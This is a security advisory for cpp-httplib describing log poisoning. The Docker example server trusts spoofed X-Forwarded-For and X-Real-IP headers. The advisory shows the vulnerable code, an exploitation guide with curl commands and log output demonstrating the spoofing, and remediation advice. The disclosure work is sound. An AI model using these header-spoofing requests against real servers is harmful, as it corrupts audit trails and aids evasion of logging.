Skip to content

Untrusted HTTP Header Handling: X-Forwarded-For/X-Real-IP Trust

Moderate
yhirose published GHSA-gfpf-r66f-5mh2 Dec 5, 2025

Package

No package listed

Affected versions

<=0.26.0

Patched versions

0.27.0

Description

Vulnerability Details

Description

Vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion).

Worst Case Impact

An unauthenticated remote attacker can cause persistent corruption of access/error logs by poisoning recorded client IPs via X-Forwarded-For/X-Real-IP, resulting in loss of trustworthy audit trails (integrity and non-repudiation broken).

Vulnerability Class Information

Trusting client-controlled HTTP headers as authoritative internal metadata or client address information is insecure. HTTP headers are trivially forgeable by remote clients and the header namespace can collide with server-inserted metadata. Without validation of forwarded headers, a trusted reverse-proxy boundary, removal of conflicting client-supplied headers, or a distinct namespace/api for internal metadata, attackers can spoof IP addresses or poison logs.


Vulnerability Flow Analysis

Step 1

  • Affected File: cpp-httplib/httplib.h
  • Code:
    inline bool read_headers(Stream &strm, Headers &headers) {
    ...
    if (!parse_header(line_reader.ptr(), end,
    [&](const std::string &key, const std::string &val) {
    headers.emplace(key, val);
    })) {
    return false;
    }
    ...
    }

Step 2

  • Affected File: cpp-httplib/httplib.h

  • Code:

    inline bool
    Server::process_request(Stream &strm, const std::string &remote_addr,
    int remote_port, const std::string &local_addr,
    int local_port, bool close_connection,
    bool &connection_closed,
    const std::function<void(Request &)> &setup_request) {
    ...
    req.remote_addr = remote_addr;
    req.remote_port = remote_port;
    req.set_header("REMOTE_ADDR", req.remote_addr);
    req.set_header("REMOTE_PORT", std::to_string(req.remote_port));
    req.local_addr = local_addr;
    req.local_port = local_port;
    req.set_header("LOCAL_ADDR", req.local_addr);
    req.set_header("LOCAL_PORT", std::to_string(req.local_port));
    ...
    }
    
        ```

Step 3

  • Affected File: cpp-httplib/httplib.h
  • Code:
    inline std::string Request::get_header_value(const std::string &key,
    const char \*def, size_t id) const {
    return detail::get_header_value(headers, key, def, id);
    }
    inline size_t get_header_value_u64(const Headers &headers,
      const std::string &key, size_t def,
      size_t id, bool &is_invalid_value) {
      auto rng = headers.equal_range(key);
      auto it = rng.first; // first entry for key is returned for id == 0
      std::advance(it, static_cast<ssize_t>(id));
      ...
      }

Example in Docker

Step 1

  • Affected File: cpp-httplib/docker/main.cc
  • Code:
    std::string get_client_ip(const Request &req) {
    auto forwarded_for = req.get_header_value("X-Forwarded-For");
    if (!forwarded_for.empty()) {
    auto comma_pos = forwarded_for.find(',');
    if (comma_pos != std::string::npos) {
    return forwarded_for.substr(0, comma_pos);
    }
    return forwarded_for;
    }
    auto real_ip = req.get_header_value("X-Real-IP");
    if (!real_ip.empty()) { return real_ip; }
    return "127.0.0.1";
    }

Step 2

  • Affected File: cpp-httplib/docker/main.cc
  • Code:
    void nginx_access_logger(const Request &req, const Response &res) {
    auto remote_addr = get_client_ip(req);
    ...
    std::cout << std::format("{} - {} [{}] \"{}\" {} {} \"{}\" \"{}\"",
    remote_addr, remote_user, time_local, request,
    status, body_bytes_sent, http_referer,
    http_user_agent)
    << std::endl;
    }
        ```

Step 3

  • Affected File: cpp-httplib/docker/main.cc
  • Code:
    void nginx_error_logger(const Error &err, const Request *req) {
    auto time_local = get_error_time_format();
    std::string level = "error";
    if (req) {
    auto client_ip = get_client_ip(*req);
    auto request = std::format("{} {} {}", req->method, req->path, req->version);
    auto host = req->get_header_value("Host");
    if (host.empty()) host = "-";
    std::cerr << std::format("{} [{}] {}, client: {}, request: \"{}\", host: \"{}\"",
    time_local, level, to_string(err), client_ip, request, host)
    << std::endl;
    } else {
    std::cerr << std::format("{} [{}] {}", time_local, level, to_string(err))
    << std::endl;
    }}

Exploitation Guide

Prerequisites

  • The Docker server described in Docker/main.cc
  • The server accepts arbitrary client-supplied HTTP headers (default behavior of cpp-httplib)
  • Network access to send crafted HTTP requests with custom headers

Part A: Log Poisoning via X-Forwarded-For/X-Real-IP Headers

Step 1
  • Description: Confirm server is reachable
  • Command:
curl -i http://127.0.0.1/
  • Output:
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
... (Welcome page HTML) ...
Step 2
  • Description: Send request with spoofed X-Forwarded-For and verify logs reflect the spoofed IP
  • Command:
curl -i -H "X-Forwarded-For: 203.0.113.66" http://127.0.0.1/ && sleep 1 && grep -n "203.0.113.66" -n /projects/cpp-httplib/cpp-httplib-server.log || true
  • Output:
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
33:203.0.113.66 - - [10/Sep/2025:22:12:06 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"
Step 3
  • Description: Send request with X-Real-IP header and verify logs reflect the spoofed IP
  • Command:
curl -i -H "X-Real-IP: 198.51.100.77" http://127.0.0.1/ && sleep 1 && grep -n "198.51.100.77" /projects/cpp-httplib/cpp-httplib-server.log || true
  • Output:
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
34:198.51.100.77 - - [10/Sep/2025:22:12:11 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"

Remediation Approach

  1. Sanitize Client Headers:

    • Block or strip client-supplied headers with reserved internal names before processing
    • Implement header name validation to reject REMOTE**/LOCAL** headers from clients
  2. Fix Header Processing Order:

    • If headers must be used for metadata, clear any existing client-supplied duplicates before server insertion
    • Modify get_header_value() to prioritize server-inserted values for internal header names
    • Consider separate namespaces for client vs. server headers
  3. Validate Forwarded Headers:

    • Only trust X-Forwarded-For/X-Real-IP from authenticated reverse proxies
    • Validate IP address format and ranges for forwarded headers
    • Implement trusted proxy IP whitelist before accepting forwarded headers

Verification Steps (after fix):

  • Verify client cannot override internal metadata through HTTP headers
  • Confirm IP-based access controls use authentic connection information

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2025-66577

Weaknesses

Improper Output Neutralization for Logs

The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file. Learn more on MITRE.

Reliance on Untrusted Inputs in a Security Decision

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism. Learn more on MITRE.

Credits